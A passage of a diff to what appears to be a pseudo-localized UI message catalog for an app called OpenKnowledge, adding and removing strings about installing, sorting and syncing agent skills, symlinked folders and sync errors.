"ZDOq9A": ["Ŵĥàţ ŷōũ śĥàŕē ĩś śēńţ ţō ţĥē ŌƥēńĶńōŵĺēďĝē ţēàḿ."],
@@ -1911,6 +2080,7 @@
"ZQLDTl": ["ćŕēàţēď ƒōĺďēŕ"],
"ZU8VV_": ["Ŕēḿōvē ƒàĩĺēď: ", ["error"]],
"ZVOhXM": ["Ƒàĩĺēď ţō ũƥďàţē śŷńć — ", ["detail"]],
+ "ZW2yR_": ["Àďď ćũśţōḿ ƥàţĥ"],
"ZW3mlR": ["Ďĩƒƒ ŕēńďēŕ ḿōďē"],
"ZWgr0b": ["Ĩń à śũƀƒōĺďēŕ"],
"ZWolSV": [
@@ -1957,12 +2127,14 @@
],
"_FLBbi": [["sizeText"], " · śēćŕēţś ŕēďàćţēď · ćŕàśĥ ďũḿƥ ńōţ ŕēďàćţēď"],
"_GRWOJ": ["Ćĥàńĝē ţĥē ēḿƀēďďĩńĝś ƥŕōvĩďēŕ?"],
+ "_HgF9q": ["Śōŕţ ƀŷ"],
"_IGfXZ": ["ŌƥēńĶńōŵĺēďĝē ǫũĩţ ũńēxƥēćţēďĺŷ ĺàśţ ţĩḿē."],
"_IX_7x": ["Ōţĥēŕ"],
"_JOGC0": ["Śēńď ƒēēďƀàćķ…"],
"_LczaQ": ["Ďēńĩēď — ", ["optionName"]],
"_NWEid": ["Śēàŕćĥ śćĥēḿà ƒĩĺēś ƀŷ ƥàţĥ"],
"_NX6gG": ["Ḿàńàĝĩńĝ ƥŕōĴēćţ ÀĨ ţōōĺś ĩś ũńàvàĩĺàƀĺē ĩń ţĥĩś ƀũĩĺď."],
+ "_O7dJS": ["Ďĩƒƒēŕēńţ vēŕśĩōń ĥēŕē — ćĺĩćķ ţō ćōḿƥàŕē àńď ŕēśōĺvē"],
"_PACVa": ["Ŕēĺēàśē ńōţēś"],
"_PBJRl": ["Àďď àţ ĺēàśţ ōńē ĺēţţēŕ ōŕ ńũḿƀēŕ."],
"_Pmhxt": ["… ēàŕĺĩēŕ ōũţƥũţ ţŕĩḿḿēď"],
@@ -1986,7 +2158,7 @@
"_eguJc": ["Ũƥĺōàďĩńĝ"],
"_gO_m8": ["Ŵàĩţĩńĝ ƒōŕ ŷōũŕ àƥƥŕōvàĺ"],
"_gkGSK": ["ďēĺēţēď ţēḿƥĺàţē"],
- "_hPpdX": ["Śķĩĺĺ ŕēńàḿēď"],
+ "_mcDqU": [["count"], " śķĩĺĺś àţ ţĥĩś śōũŕćē"],
"_pY_Vq": ["Ţĥē ŕēƥōśĩţōŕŷ ŵàś ḿōvēď, ŕēńàḿēď, ōŕ ďēĺēţēď."],
"_qD6mn": ["Ƥĩćķ ţĥē ƒōĺďēŕ ŵĥēŕē ŷōũ'vē ćĺōńēď ĩţ."],
"_rP3HI": [["minutes"], "ḿ àĝō"],
@@ -1995,6 +2167,7 @@
"_yB-24": ["ēvēŕŷţĥĩńĝ ũńďēŕ àńŷ ", ["0"], "/ ƒōĺďēŕ"],
"a-cKXz": ["Śēĺēćţ àĺĺ śōũŕćē"],
"a3H_MR": ["Ōƥēń àńď ƒōćũś ţĥē Àśķ ÀĨ ćōḿƥōśēŕ ƒōŕ ţĥē ćũŕŕēńţ ēďĩţōŕ śēĺēćţĩōń."],
+ "a3LDKx": ["Śēćũŕĩţŷ"],
"a45f2c": ["Ĝĺōƀ ƥàţţēŕńś ţĥĩś śćĥēḿà àƥƥĺĩēś ţō"],
"a4FRQv": ["Ũńďō ţō ţĥĩś ēďĩţ?"],
"a5Gha5": ["Ĺōćàĺ ćĥàńĝēś ƀĺōćķēď ţĥē ḿēŕĝē"],
@@ -2016,8 +2189,16 @@
"aOp3hw": ["Ćōũĺďń'ţ ḿōvē ţō Ţŕàśĥ"],
"aQD_86": ["Ƒàĩĺēď ţō ũƥďàţē ţĥē ēḿƀēďďĩńĝś ƥŕōvĩďēŕ — ", ["detail"]],
"aQyGJc": ["Śōḿēţĥĩńĝ ēĺśē"],
+ "aR4DgO": [
+ "Ţĥĩś ŕēƥō ƀũńďĺēś ",
+ ["count"],
+ " śķĩĺĺś, ƥĺũś ",
+ ["0"],
+ ". Ĩńśţàĺĺ àńŷ ōƒ ţĥēḿ ƒŕōḿ ţĥē ƥĺũĝĩń."
+ ],
"aRI3Om": ["Ćĺōśē Ŵĩńďōŵ"],
"aWlJai": ["Śţàŕţĩńĝ śĩĝń-ĩń ƒĺōŵ"],
+ "a_2_uB": ["Ćōũĺďń'ţ ćŕēàţē ", ["trimmed"], ": ", ["0"]],
"a_u4ck": ["Ĺōàďĩńĝ ţàĝś"],
"aaE55D": ["Ćĺēàŕ ", ["keyName"]],
"aaI6cN": [
@@ -2026,6 +2207,7 @@
"aalx4E": ["Ēďĩţĩńĝ ƀŕōķēń ḾĎX śōũŕćē: ", ["reason"]],
"abiHje": ["Ďēĺēţē śēĺēćţēď ĩţēḿś"],
"adsMWO": ["Ŕēśōĺvĩńĝ ďēĺţàś"],
+ "ah_ekO": ["\"", ["name"], "\" ĩś àĺŕēàďŷ ũƥ ţō ďàţē"],
"aiArms": ["Ŵē ćōũĺďń'ţ ćĺōńē ţĥĩś ŕēƥōśĩţōŕŷ."],
"ajHi4O": [
"Àũţō-śŷńć ĩś ƥàũśēď — ŷōũ ďōń'ţ ĥàvē ƥēŕḿĩśśĩōń ţō ƥũśĥ ţō ţĥĩś ŕēƥō. Śŵĩţćĥ ţō Ƒōĺĺōŵ ţō ķēēƥ ŕēćēĩvĩńĝ ũƥďàţēś."
@@ -2042,6 +2224,7 @@
"az8lvo": ["Ōƒƒ"],
"b18t0_": ["Ćĺōśē ďĩƒƒ"],
"b24kPi": ["Ǫũēũē"],
+ "b2ezG_": ["Ķēƥţ ƀōţĥ — \"", ["0"], "\" ĩś ĩţś ōŵń śķĩĺĺ ńōŵ"],
"b3Thhd": ["Ũƥĺōàď ƒàĩĺēď"],
"b4AQFK": ["Ōƥēń àćţĩvĩţŷ ƥàńēĺ ƒōŕ ", ["tooltipName"], ", ēďĩţĩńĝ ", ["realCurrentDoc"]],
"b4VvP-": [
@@ -2075,6 +2258,7 @@
"bkQRMh": ["Ƥàŕàĝŕàƥĥ"],
"blFttG": ["Śēàŕćĥ ƥŕōĴēćţś"],
"bmC18N": ["Ćĺēàŕĩńĝ ĺōćàĺ ćōĺĺàƀōŕàţĩōń ďàţà ƒōŕ \"", ["docName"], "\" ƀēƒōŕē ŕēćōńńēćţĩńĝ."],
+ "bpytj4": ["Ḿōvē ţō ", ["0"]],
"brCtGB": ["Ĥĩśţōŕŷ ũńàvàĩĺàƀĺē"],
"buNXgr": ["Śŵĩţćĥ ƀēţŵēēń ţĥē vĩśũàĺ àńď śōũŕćē ēďĩţōŕś, ķēēƥĩńĝ ŷōũŕ ƥĺàćē."],
"bultyE": [
@@ -2105,6 +2289,8 @@
"cHhH3i": ["à ŕēǫũĩŕēď ĝĩţ ţōōĺ"],
"cIptmH": ["Ĩń ţĥē Ćĺàũďē Ďēśķţōƥ Àƥƥ"],
"cKjLuT": ["(ƥŕōĴēćţ + ũśēŕ)"],
+ "cLP0Lf": ["Ŕēḿōţē śķĩĺĺ śōũŕćē"],
+ "cMMb6H": ["Ĩńśţàĺĺēď ", ["imported"], ", ƀũţ ", ["failed"], " ƒàĩĺēď: ", ["failedNames"]],
"cN1Gcp": ["À ŵōŕķţŕēē ƒōĺďēŕ ƒōŕ ", ["shareBranch"], " àĺŕēàďŷ ēxĩśţś."],
"cOJyVj": ["Ďĩśàƀĺē Ţĥēḿēś"],
"cOSAfL": ["Ńō ŕēƥōśĩţōŕĩēś ƒōũńď ōń ŷōũŕ ĜĩţĤũƀ àććōũńţ."],
@@ -2175,6 +2361,7 @@
"</1>, ĩń ĩţś ōŵń ŵōŕķţŕēē ũńďēŕ <2>.ōķ/ŵōŕķţŕēēś/</2>."
],
"dIYSqk": ["ŕēḿōţē"],
+ "dJXrT9": ["Ńēŵ ƒŕōḿ śćŕàţćĥ"],
"dJw2_7": ["Śàvēď ŵĩţĥ ţĥē ƥŕōĴēćţ ƒōŕ ŷōũŕ ţēàḿ."],
"dMsx3p": ["Ĥōḿē ƥàĝē àńď ńàvĩĝàţĩōń ĥũƀ."],
"dNM58w": ["Ćĺàũďē Ćōďē (ćĺàũďē) ĩśń'ţ ĩńśţàĺĺēď ōŕ ōń ŷōũŕ ƤÀŢĤ."],
@@ -2183,7 +2370,6 @@
"dPOFid": ["Śĥōŵ ōŕ ĥĩďē ţēŕḿĩńàĺ"],
"dQHSCs": ["Ćōńvēŕţ (ďēĺēţē ōŕĩĝĩńàĺ)"],
"dTaauv": ["Ŕēàśōń: ", ["reason"]],
- "dUCQo4": ["Ŕēńàḿēď ţō \"", ["trimmed"], "\""],
"dUQ7_J": [
"Àďď ḿēàńĩńĝ-ƀàśēď ŕàńķĩńĝ ţō śēàŕćĥ śō ćōńćēƥţũàĺĺŷ-ŕēĺàţēď ƥàĝēś śũŕƒàćē ēvēń ŵĥēń ţĥēŷ śĥàŕē ńō ķēŷŵōŕďś. Ţĥĩś śēţţĩńĝ àƥƥĺĩēś ōńĺŷ ţō ţĥĩś ćōḿƥũţēŕ."
],
@@ -2234,6 +2420,7 @@
"e4GHWP": ["Ƥũĺĺ"],
"e4PbgC": ["Ďũƥĺĩćàţē ţĥē ƒĩĺē-ţŕēē ĩţēḿ ćōƥĩēď ƒŕōḿ ţĥē Ƒĩĺēś śĩďēƀàŕ."],
"e60wew": ["Àĺĺōŵēď ēĺēḿēńţ vàĺũēś ƒōŕ ", ["field"]],
+ "e6dMJT": ["Ƒŕōḿ ", ["harnessLabel"]],
"e8L17t": ["À ńōń-ēḿƥţŷ ƒōĺďēŕ àĺŕēàďŷ ēxĩśţś àţ ţĥĩś ƥàţĥ. Ƥĩćķ à ďĩƒƒēŕēńţ ƒōĺďēŕ."],
"e8zRrb": ["Śĥōŵ Ƒĩĺēś"],
"e8zYa8": ["Ćōũĺď ńōţ ōƥēń ", ["shareBranch"], " ĩń à ŵōŕķţŕēē. Ţŕŷ àĝàĩń."],
@@ -2245,21 +2432,21 @@
"eJitUk": ["Ũƥĺōàď ƒŕōḿ ćōḿƥũţēŕ"],
"eKThTQ": ["Ƒàĩĺēď ţō ŕēōŕďēŕ"],
"eNQGRb": ["Ĩńĺĩńē ĹàŢēX ḿàţĥ ŕēńďēŕēď ŵĩţĥ ĶàŢēX."],
+ "eNhWUl": ["À ƤŔ ŕēvĩēŵēŕ, à ŕēĺēàśē-ńōţēś ŵŕĩţēŕ, à ďēƥĺōŷ ćĥēćķĺĩśţ..."],
"ePK91l": ["Ēďĩţ"],
"eQkgKV": ["Ĩńśţàĺĺēď"],
"eQxm13": ["Ƒàĩĺēď ţō ũƥďàţē àţţàćĥḿēńţ ĺōćàţĩōń — ", ["detail"]],
"eTL5y9": ["Śĥōŵ śēĺēćţĩōń ƥŕēvĩēŵ"],
"eTsJYJ": ["ďēśćŕĩƥţĩōń"],
+ "eUFXS1": ["Śōŕţ śķĩĺĺś"],
"eVPynQ": ["Ōƥēń <0><1>", ["verificationUri"], "</1><2/></0> àńď ēńţēŕ ţĥĩś ćōďē:"],
"eaHUxx": ["Ƒĩĺēś ţōōĺƀàŕ"],
"eazHgv": [
"Ĝĩţ ćàń'ţ ţŕàćķ ţĥĩś ƒōĺďēŕ — ĩţ'ś ēḿƥţŷ ōŕ ćōńţàĩńś ōńĺŷ ĩĝńōŕēď ƒĩĺēś. Ţĥē ĺĩńķ ŵōń'ţ ŵōŕķ ũńţĩĺ ŷōũ àďď à ţŕàćķēď ďōćũḿēńţ."
],
"eiUA4k": [["count", "plural", { "one": ["#", " ćōḿḿēńţ"], "other": ["#", " ćōḿḿēńţś"] }]],
- "el312q": ["Ĩńśţàĺĺ śķĩĺĺś ĩńţō"],
"emgiet": ["Àũţĥōŕĩţàţĩvē ćōńţēńţ; ḿĩŕŕōŕēď vēŕƀàţĩḿ ēvēŕŷŵĥēŕē ĩţ'ś ŕēƒēŕēńćēď."],
"enPTnx": ["ĺĩńē ", ["displayLine"]],
- "eneWvv": ["Ďŕàƒţ"],
"eoEUI3": ["Ćōũĺďń'ţ ŕēśōĺvē ţĥàţ ćōḿḿēńţ."],
"epuNYK": [
"Ḿàŕķ à ƀĺōćķ àś ţĥē śōũŕćē ōƒ ţŕũţĥ. Ḿĩŕŕōŕś ēĺśēŵĥēŕē ũƥďàţē ĺĩvē àś ŷōũ ēďĩţ ĩţ."
@@ -2276,13 +2463,19 @@
" ćàń'ţ ćōńţĩńũē ţĥĩś ćōńvēŕśàţĩōń — ţĥē ţŕàńśćŕĩƥţ ĩś ķēƥţ, ƀũţ ţĥē àĝēńţ śēśśĩōń ĩś ĝōńē."
],
"f65AOQ": ["Śţàŕţ ƒŕōḿ"],
+ "f8fH8W": ["Ďēśĩĝń"],
"f8jU-L": [["0"], "/", ["1"], " — ", ["2"]],
"f9lQNJ": ["Àďďś à ḿàńàĝēď ƀĺōćķ ţō"],
"fBHvBn": ["Ţĥēŕē'ś ńō ƥŕōĴēćţ ƒōĺďēŕ ƒōŕ ţĥĩś ŵĩńďōŵ, śō à ţēŕḿĩńàĺ ćàń'ţ śţàŕţ ĥēŕē."],
+ "fBoO7w": ["Ţĥĩś ĩś à ƥŕēvĩēŵ ōƒ ", ["boldName"], ". Ĩńśţàĺĺ ĩţ ĩńţō ŷōũŕ àĝēńţś."],
+ "fDjZxw": ["Ćōƥĩēś ţĥē śķĩĺĺ ţō ", ["0"]],
"fG0X0e": ["Ĩńśţàĺĺ ", ["brand"], " →"],
+ "fGqEFq": ["Ĩńśţàĺĺ ", ["0"]],
+ "fIJtam": ["Ŕēvēŕţĩńĝ"],
"fIgqfQ": ["Ŕēĩńśţàĺĺĩńĝ"],
"fJ3EbT": ["Ţĥēḿēś"],
"fJgQHX": ["Ƒàĩĺēď ţō ćŕēàţē ƒĩĺē"],
+ "fMsFdZ": ["Ćōũĺďń'ţ śàvē ţĥē àũţō-ũƥďàţē śēţţĩńĝ: ", ["0"]],
"fNr-MX": ["Ďĩśàƀĺē śēḿàńţĩć śēàŕćĥ"],
"fR-Kdc": ["(ƥŕōĴēćţ-ĺēvēĺ ōńĺŷ)"],
"fRVBiq": [
@@ -2290,6 +2483,7 @@
],
"fSRzLo": ["Śĥōŵ ďōćũḿēńţ ƥàńēĺ"],
"fVcm9t": [["0", "plural", { "one": ["#", " ďōć"], "other": ["#", " ďōćś"] }]],
+ "fVzizW": ["Ũśē à ŕēĺàţĩvē ƥàţĥ ĩńśĩďē ţĥē śķĩĺĺ (ńō .., ńō śƥàćēś; ŚĶĨĹĹ.ḿď ĩś ḿàńàĝēď)."],
"fWi7pn": ["Ĩńĩţĩàĺĩźē śţàŕţēŕ ƥàćķ"],
"fWsBTs": ["Śōḿēţĥĩńĝ ŵēńţ ŵŕōńĝ. Ƥĺēàśē ţŕŷ àĝàĩń."],
"fYKgzG": ["Ƒàĩĺēď ţō ĺōàď ŕēćēńţ ƥŕōĴēćţś."],
@@ -2301,15 +2495,17 @@
"fbdLmk": ["Ţōĝĝĺē ƀōĺď ƒōŕḿàţţĩńĝ."],
"fbsiBw": ["Śōḿēţĥĩńĝ ŵēńţ ŵŕōńĝ śţàŕţĩńĝ ţĥē ţēŕḿĩńàĺ."],
"fcgvCA": ["Ćĺàũďē"],
+ "fdeFfN": ["(ƀĩńàŕŷ ƒĩĺē, ńōţ ƥŕēvĩēŵàƀĺē)"],
"fevEu0": ["Ƥũĺĺ ĺàţēśţ ćĥàńĝēś"],
+ "fg1U4e": ["Śķĩĺĺ ďĩśćōvēŕŷ ƥōŵēŕēď ƀŷ <0>śķĩĺĺś.śĥ</0>"],
"fiMNLl": ["Śŷńć śēţţĩńĝś ńōţ ŷēţ ĺōàďēď — ţŕŷ àĝàĩń ĩń à ḿōḿēńţ"],
"fj5YiP": ["Ďōŵńĺōàďś à ƒŕēśĥ ćōƥŷ ƒŕōḿ ĜĩţĤũƀ."],
"fnlBN4": ["Àũţō-àƥƥŕōvē śēţţĩńĝś ńōţ ŷēţ ĺōàďēď — ţŕŷ àĝàĩń ĩń à ḿōḿēńţ"],
- "fo0VXg": ["Ũńĩńśţàĺĺ"],
"fqSfXY": ["Ŕēƥĺàćē"],
"fru3T7": ["Ćōũĺď ńōţ ƒĩx ", ["0"], " ōƒ ", ["1"], " ƒĩĺēś."],
"ft-BOm": ["Ŕēƥōŕţ à ƀũĝ…"],
"fuJZKk": ["Śēàŕćĥ ƀŕàńćĥēś"],
+ "fvrHin": ["Àvàĩĺàƀĺē ĩń ēvēŕŷ ƥŕōĴēćţ ōń ţĥĩś ḿàćĥĩńē. Ńōţ śĥàŕēď ţĥŕōũĝĥ ĝĩţ."],
"fwhX-N": ["Ĩńďēńţ ōŕ ōũţďēńţ śōũŕćē"],
"fwrPh4": ["Ƥĺēàśē ēńţēŕ à vàĺĩď ēḿàĩĺ."],
"fxJk_6": ["<0>Ĥàvē ḿōŕē ţō àďď?</0> Ŵŕĩţē ţō <1/> àńď ḿēńţĩōń ŷōũŕ ŕēƒēŕēńćē."],
@@ -2324,6 +2520,11 @@
["descriptorLabel"],
"> ƒàĩĺēď ţō ŕēńďēŕ (ĺĩķēĺŷ à ƀàď ƥŕōƥ). Ćōƥŷ ţĥē śōũŕćē ţō śēē ŵĥàţ ŵēńţ ŵŕōńĝ, ōŕ ďēĺēţē ţĥē ƀĺōćķ."
],
+ "g5w1sF": [
+ "Ƥĩćķ à ƒōĺďēŕ ţō ḿēŕĝē ĨŃŢŌ ",
+ ["display"],
+ ". Ţĥàţ ƒōĺďēŕ ƀēćōḿēś à śŷḿĺĩńķ ţō ţĥĩś ōńē, śō ĩţś àĝēńţ ŕēàďś ēvēŕŷţĥĩńĝ ƥĺàćēď ĥēŕē. Ţĥĩś ƒōĺďēŕ śţàŷś ŕēàĺ. Ćōńƒĺĩćţĩńĝ śķĩĺĺś àƀōŕţ ţĥē ḿēŕĝē."
+ ],
"g85bAo": ["Śŷńćēď ", ["lastSyncedRelative"]],
"gAhHu7": ["Àũţō-ƒĩx àƥƥĺĩēś ōńĺŷ ţō ƥŕōƀĺēḿś ŵĩţĥ à ķńōŵń ḿēćĥàńĩćàĺ ƒĩx."],
"gBbxn_": ["Ćĥēćķĩńĝ śĩĝń-ĩń śţàţũś"],
@@ -2334,6 +2535,8 @@
],
"gJR87V": ["Ćōũĺď ńōţ ćŕēàţē ţĥē ƥŕōĴēćţ ƒōĺďēŕ. Ƥĩćķ à ďĩƒƒēŕēńţ ƒōĺďēŕ."],
"gKi-a_": ["Ńēŵ ƥŕōĴēćţ"],
+ "gL_sdV": ["Ƥōƥũĺàŕ"],
+ "gN3JX8": ["śķĩĺĺś.śĥ"],
"gOD68k": ["Ōƥēń à śĩńĝĺē ḿàŕķďōŵń ƒĩĺē — ńō ƥŕōĴēćţ śēţũƥ."],
"gQV-9w": [
"ßŕàńćĥ śŵĩţćĥēď ƀũţ ţĥē ",
@@ -2343,6 +2546,7 @@
"gUlRQj": ["Ōŕƥĥàńś"],
"gYz2ep": ["Ēxƥĩŕēś ĩń ", ["timeLabel"]],
"gZElfU": ["Ƒĩxĩńĝ ", ["0"], " ōƒ ", ["1"], " ƒĩĺēś"],
+ "gZiT5e": ["Ŕēƥĺàćē ţĥēśē śŷḿĺĩńķś ŵĩţĥ ĩńďēƥēńďēńţ ćōƥĩēś?"],
"gbHcbI": ["Ƒàĩĺēď ţō ďēĺēţē ƥŕōƥēŕţŷ"],
"gfdqcY": ["Ćōũĺďń'ţ àƥƥĺŷ ţĥē ćĥàńĝē: ", ["0"]],
"gfohmY": ["Ćōńńēćţ ţōōĺś"],
@@ -2361,6 +2565,7 @@
"gp3I7-": ["ßēƒōŕē śŷńćĩńĝ, śēţ ŷōũŕ ĩďēńţĩţŷ ƒōŕ ĝĩţ ćōḿḿĩţś:"],
"gtEbeW": ["Ĥĩĝĥĺĩĝĥţ"],
"gtGQ9S": ["Śţàŕţ ", ["agentName"], ", ", ["hint"]],
+ "gv5w9J": ["ōŵńēŕ/ŕēƥō, à ĝĩţ ŨŔĹ, ōŕ à ĺōćàĺ ƥàţĥ"],
"gvApb7": [
"Ţũŕń ţĥē ţĥĩńĝś ŷōũ ŕēàď ĩńţō ćĺēàŕ, ţŕũśţēď àŕţĩćĺēś. Śàvē à śōũŕćē, ƒĩĝũŕē ōũţ ŵĥàţ ĩţ ḿēàńś, ţĥēń ķēēƥ ţĥē ƒĩńàĺ vēŕśĩōń śō ŷōũ ćàń ŕēĺŷ ōń ĩţ ĺàţēŕ."
],
@@ -2370,6 +2575,7 @@
"h-AdvS": ["Ţĥē ƒōĺďēŕś àńď ţēḿƥĺàţēś àŕē àĺŕēàďŷ ĥēŕē, śō ţĥēŕē'ś ńōţĥĩńĝ ţō àďď."],
"h06R3C": ["Ńō ƥàĝēś àŕē ḿĩśśĩńĝ ōũţĝōĩńĝ ĝŕàƥĥ ĺĩńķś."],
"h16FyT": ["Ĺĩśţś"],
+ "h2N-1n": ["Ĩńśţàĺĺēď ĩń ", ["0"]],
"h3QZcB": [
"À ƀŕàńćĥ ńàḿēď ",
["shareBranch"],
@@ -2392,6 +2598,7 @@
"hLod4_": ["Ćōńvēŕţ ţō ţēḿƥĺàţē"],
"hLy8b1": ["Ũƥďàţēď ţō Vēŕśĩōń ", ["version"]],
"hQXiDc": ["Śēàŕćĥ ƀŕàńćĥēś..."],
+ "hQjvzi": ["À .źĩƥ ōŕ .śķĩĺĺ àŕćĥĩvē."],
"hSBIG-": ["À ţĩţĺē, ďēśćŕĩƥţĩōń, ţàĝś — àńŷţĥĩńĝ ţĥàţ ďēśćŕĩƀēś ţĥĩś ƒōĺďēŕ."],
"hSySVc": ["Ĩńśţàĺĺ ĥàńďōƒƒ ƒàĩĺēď: ", ["msg"]],
"hXUWyd": ["Vàĺũē ĩś ŕēǫũĩŕēď"],
@@ -2410,8 +2617,10 @@
"Ķēēƥ ţŕàćķ ōƒ ţĥē ƥēōƥĺē àńď ćōḿƥàńĩēś ŷōũ ŵōŕķ ŵĩţĥ àńď ţĥē ḿēēţĩńĝś ŷōũ ĥàvē ŵĩţĥ ţĥēḿ. Ĝōōď ƒōŕ ŕēḿēḿƀēŕĩńĝ ŵĥō śōḿēōńē ĩś, ĥōŵ ŷōũ ķńōŵ ţĥēḿ, àńď ŵĥàţ ŷōũ ĺàśţ ţàĺķēď àƀōũţ."
],
"hnq8fP": ["Ŕēḿōvē ", ["label"], " ƒŕōḿ ćōńţēxţ"],
+ "hp8OtS": ["Àďďēď"],
"hpDtUm": ["Ēxţēŕńàĺ ŵĩķĩ ĺĩńķ"],
"hpzRlK": ["Ŕēōƥēń ćĺōśēď ţàƀ"],
+ "hqCwRf": ["Ńō ƒĩĺē śēĺēćţēď"],
"hqVQbT": ["Àďď Ćōḿḿēńţ"],
"hvZwVx": ["Ćōńvēŕţ"],
"hwFOFD": ["Śēţţĩńĝś ƒàĩĺēď ţō ĺōàď"],
@@ -2421,6 +2630,7 @@
"hyCxJY": ["Ōƥēń ţĥàţ ŵōŕķţŕēē ĩńśţēàď"],
"hynz2K": ["Ďōŵńĺōàď śţàŕţēď"],
"i-ShMB": ["Ďĩàĝŕàḿ"],
+ "i-wHEp": ["Ēďĩţĩńĝ ", ["boldName"], " ĩń ƥĺàćē. Ćĥàńĝēś śàvē śţŕàĩĝĥţ ţō ŷōũŕ ēďĩţōŕ'ś ćōƥŷ."],
"i09An-": ["Ŕēśţōŕēď àń ēàŕĺĩēŕ vēŕśĩōń (", ["0"], ")"],
"i1flq_": ["Ŵĩķĩ ĺĩńķ śũĝĝēśţĩōńś"],
"i3f2kh": ["Ńō ḿàţćĥĩńĝ ćōḿḿàńďś."],
@@ -2435,7 +2645,6 @@
"</0>. Ĩţ ḿàŷ ńōţ ĥàvē ƀēēń ƥũśĥēď ŷēţ."
],
"i9toLO": ["Àĝēńţ ćōńƒĩĝũŕàţĩōń ƒĩĺē"],
- "iAoh55": ["Ũƥďàţē \"", ["0"], "\"?"],
"iDZtvM": ["Ƒàĩĺēď ţō ĺōàď ţēḿƥĺàţēś: ", ["message"]],
"iEQQyu": ["Àĝēńţ"],
"iEYxO4": ["Śĥōŵ ţĥũḿƀńàĩĺś"],
@@ -2445,24 +2654,44 @@
"iIaSUD": ["Ŵĥĩţēśƥàćē"],
"iKSP5j": ["Ŵōŕď ŵŕàƥ"],
"iKZkk1": ["Ƥŕōƥēŕţŷ vàĺũē"],
+ "iKvAeG": ["Ćĥēćķĩńĝ"],
"iMYFJM": ["Ţĥĩś ŵĩńďōŵ ćàń'ţ śţōŕē à ţōķēń — ōƥēń Śēţţĩńĝś ƒŕōḿ ţĥē ḿàĩń àƥƥ ŵĩńďōŵ."],
"iMkWoF": ["Ţũŕń ōń"],
"iO8V-7": ["Ćŕēàţē ŵōŕķţŕēē"],
+ "iOAsF1": [
+ "À ćōƥŷ ĩś à ŕēàĺ ƒōĺďēŕ ōƒ ĩţś ōŵń, àńď ŌĶ ķēēƥś ĩţ ĩń śţēƥ ŵĩţĥ ţĥē śōũŕćē: ēďĩţ ţĥē śķĩĺĺ ĥēŕē àńď ēvēŕŷ ćōƥŷ ĩś ŕēƒŕēśĥēď. Ţĥàţ śţōƥś ţĥē ḿōḿēńţ ŷōũ ĥàńď-ēďĩţ à ćōƥŷ ōũţśĩďē ŌĶ — ƒŕōḿ ţĥēń ōń ĩţ ĝōēś ĩţś ōŵń ŵàŷ àńď śĥōŵś ũƥ àś à śēƥàŕàţē śķĩĺĺ."
+ ],
"iOHg1t": ["Ōƥēń ēḿƀēďďēď ŨŔĹ ĩń ńēŵ ţàƀ"],
"iRdfLr": ["Ďēv ĩńśţàńćē: ", ["label"]],
"iSLIjg": ["Ćōńńēćţ"],
"iSQTsg": ["Ōŕďēŕēď ĺĩśţ"],
"iSnkwB": ["Ƒàĩĺēď ţō ōƥēń ćĺōńēď ƥŕōĴēćţ."],
"iTylMl": ["Ţēḿƥĺàţēś"],
+ "iUwpZI": ["Ńō śƥàćēś — ũśē <0>-</0> ĩńśţēàď."],
"iXTp5j": ["Śćōƥē: "],
+ "iYUTsI": ["Ţĥĩś śōũŕćē ƀũńďĺēś śēvēŕàĺ śķĩĺĺś — ćĥōōśē ōńē, ţĥēń Ĩḿƥōŕţ."],
"iZCZmF": [
["instanceCount", "plural", { "one": ["#", " ĩńśţàńćē"], "other": ["#", " ĩńśţàńćēś"] }]
],
+ "iaPtht": ["ćōƥŷ"],
"idD8Ev": ["Śàvēď"],
"idni-S": ["Vàĺũēś ƒōŕ ", ["keyName"]],
"ig5vUe": ["Ƒàĩĺēď ţō ĺōàď ƒĩĺē"],
"ii5mVn": ["Ŕēƥōŕţ ţĥĩś ēŕŕōŕ"],
"iilQXA": ["Ƒōĺďēŕ ďũƥĺĩćàţēď"],
+ "iiqOKM": [
+ "Śţōƥ ",
+ ["0"],
+ " ŕēàďĩńĝ \"",
+ ["1"],
+ "\"? ",
+ ["subRoot"],
+ " ŵĩĺĺ ķēēƥ ĩţś ōţĥēŕ śķĩĺĺś (àś śŷḿĺĩńķś) ƀũţ śţōƥ ƒōĺĺōŵĩńĝ ",
+ ["poolRootRel"],
+ " — ńēŵ śķĩĺĺś àďďēď ţĥēŕē ŵōń'ţ ŕēàćĥ ",
+ ["2"],
+ " àũţōḿàţĩćàĺĺŷ."
+ ],
"ijLc3m": ["ßũĺĺēţ ĺĩśţ"],
"ilodsp": ["Ĺēţ àĝēńţś ũśē ŌƥēńĶńōŵĺēďĝē ŵĩţĥōũţ àśķĩńĝ"],
"ioMn4Z": ["Ńēŵ ƒŕōḿ Ţēḿƥĺàţē…"],
@@ -2479,8 +2708,12 @@
],
"iuTKci": ["Ńō ēďĩţś ŷēţ."],
"iv452l": ["Ďōćũḿēńţàţĩōń ƒōŕ ", ["0"], " (ōƥēńś ĩń ƀŕōŵśēŕ)"],
+ "ivwdwq": ["Ćŕēàţē à śķĩĺĺ."],
"iy64Li": ["Ƒũĺĺ śŷńć — ŷōũŕ ēďĩţś àŕē ćōḿḿĩţţēď àńď ƥũśĥēď ţō ŷōũŕ ŕēḿōţē àũţōḿàţĩćàĺĺŷ."],
"iycx_A": ["Ƥũśĥĩńĝ"],
+ "iz1LdD": [
+ "Ćĥàńĝēď ōũţśĩďē ŌĶ śĩńćē ĩţ ĺàśţ ŵŕōţē ĥēŕē — ţĥē śţàţē śĥōŵń ĩś ŵĥàţ'ś ōń ďĩśķ ńōŵ"
+ ],
"j0ItfO": ["Śĥōŵ ŕēśōĺvēď (", ["0"], ")"],
"j2229h": ["Ŕēḿōvĩńĝ ŌƥēńĶńōŵĺēďĝē ƒĩĺēś…"],
"j2kt1j": [
@@ -2492,8 +2725,12 @@
"jAMpHn": ["Ŵĥàţ ĩś à śţàŕţēŕ ƥàćķ?"],
"jBVUXo": ["Ćōũĺďń'ţ ōƥēń ţĥē ţēŕḿĩńàĺ — ƥĺēàśē ţŕŷ àĝàĩń."],
"jC8LSZ": ["Ŕēśēţ vĩēŵ ƒĩĺţēŕś"],
+ "jENU1Q": [
